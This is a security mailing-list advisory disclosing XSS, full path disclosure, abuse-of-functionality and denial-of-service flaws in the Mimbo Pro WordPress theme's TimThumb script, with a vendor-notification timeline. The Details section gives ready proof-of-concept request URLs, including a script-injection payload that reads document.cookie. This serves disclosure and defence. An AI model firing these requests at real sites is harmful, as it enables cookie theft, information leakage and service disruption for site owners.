Hello list! I want to warn you about Cross-Site Scripting, Full path disclosure, Abuse of Functionality and Denial of Service vulnerabilities in Mimbo Pro theme for WordPress. It's commercial theme for WP by developer of TimThumb. ------------------------- Affected products: ------------------------- Vulnerable are Mimbo Pro 2.3.1 and previous versions. XSS is possible only in old versions of the theme. After my informing, developer have fixed almost all vulnerabilities. ---------- Details: ---------- XSS (WASC-08): http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=1%3Cbody%20onload=alert(document.cookie)%3E Full path disclosure (WASC-13): http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=http://site http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=http://site/page.png&h=1&w=1111111 http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=http://site/page.png&h=1111111&w=1 http://site/wp-content/themes/mimbopro/ And also tens of php-scripts of the theme in folder /mimbopro/ and all subfolders. Abuse of Functionality (WASC-42): http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=http://site&h=1&w=1 DoS (WASC-10): http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=http://site/big_file&h=1&w=1 About such AoF and DoS vulnerabilities I wrote in article Using of the sites for attacks on other sites (http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html). ------------ Timeline: ------------ 2011.02.08 - informed developer about vulnerabilities in TimThumb. 2011.02.08 - announced at my site. 2011.02.09 - informed developer about vulnerabilities in Mimbo Pro. 2011.02.13 - developer released TimThumb 1.25 and begun updating TimThumb in all his themes. 2011.04.14 - disclosed at my site. I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/4913/). Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua